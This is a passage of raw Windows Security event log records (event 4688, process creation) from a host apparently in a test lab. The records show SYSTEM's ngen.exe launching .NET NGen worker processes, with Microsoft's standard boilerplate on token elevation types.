Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:28 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254342
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10dc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 250 -InterruptEvent 0 -NGENProcess 2f4 -Pipe 29c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:28 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254341
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1254
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3d8 -InterruptEvent 0 -NGENProcess 3dc -Pipe 378 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:28 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254340
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1014
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2f4 -InterruptEvent 0 -NGENProcess 208 -Pipe 22c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:28 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254339
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x12bc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3cc -InterruptEvent 0 -NGENProcess 3dc -Pipe 314 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:28 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254338
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1390
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 20c -InterruptEvent 0 -NGENProcess 3d8 -Pipe 244 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:28 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254337
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x10f0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3a8 -InterruptEvent 0 -NGENProcess 22c -Pipe 3f0 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:28 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254336
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1050
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3d8 -InterruptEvent 0 -NGENProcess 228 -Pipe 3ec -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:28 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254335
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x129c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 314 -InterruptEvent 0 -NGENProcess 22c -Pipe 34c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:28 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254334
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1024
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3f0 -InterruptEvent 0 -NGENProcess 228 -Pipe 370 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:29 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254351
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xfe4
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2f4 -InterruptEvent 0 -NGENProcess 37c -Pipe 3dc -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:29 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254350
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xab8
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3cc -InterruptEvent 0 -NGENProcess 3d4 -Pipe 334 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:29 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254349
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xc88
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3dc -InterruptEvent 0 -NGENProcess 2f4 -Pipe 3a4 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:29 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254348
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x62c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 334 -InterruptEvent 0 -NGENProcess 3cc -Pipe 20c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:29 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254347
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xf70
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 3cc -InterruptEvent 0 -NGENProcess 208 -Pipe 248 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:29 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254346
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x1224
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 338 -InterruptEvent 0 -NGENProcess 2f4 -Pipe 24c -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:29 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254345
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0xbcc
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2d0 -InterruptEvent 0 -NGENProcess 3a8 -Pipe 3d8 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:29 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254344
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x44c
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 2f4 -InterruptEvent 0 -NGENProcess 2c4 -Pipe 250 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

Type 2 is an elevated token with no privileges removed or groups disabled.  An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator.  An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group.

Type 3 is a limited token with administrative privileges removed and administrative groups disabled.  The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator.
03/12/2021 12:03:30 AM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4688
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Process Creation
OpCode=Info
RecordNumber=254359
Keywords=Audit Success
Message=A new process has been created.

Creator Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0x3E7

Target Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Process Information:
	New Process ID:		0x3a0
	New Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe
	Token Elevation Type:	%%1936
	Mandatory Label:		Mandatory Label\System Mandatory Level
	Creator Process ID:	0x1278
	Creator Process Name:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.exe
	Process Command Line:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorsvw.exe -StartupEvent 288 -InterruptEvent 0 -NGENProcess 3cc -Pipe 338 -Comment "NGen Worker Process"

Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy.

Type 1 is a full token with no privileges removed or groups disabled.  A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account.

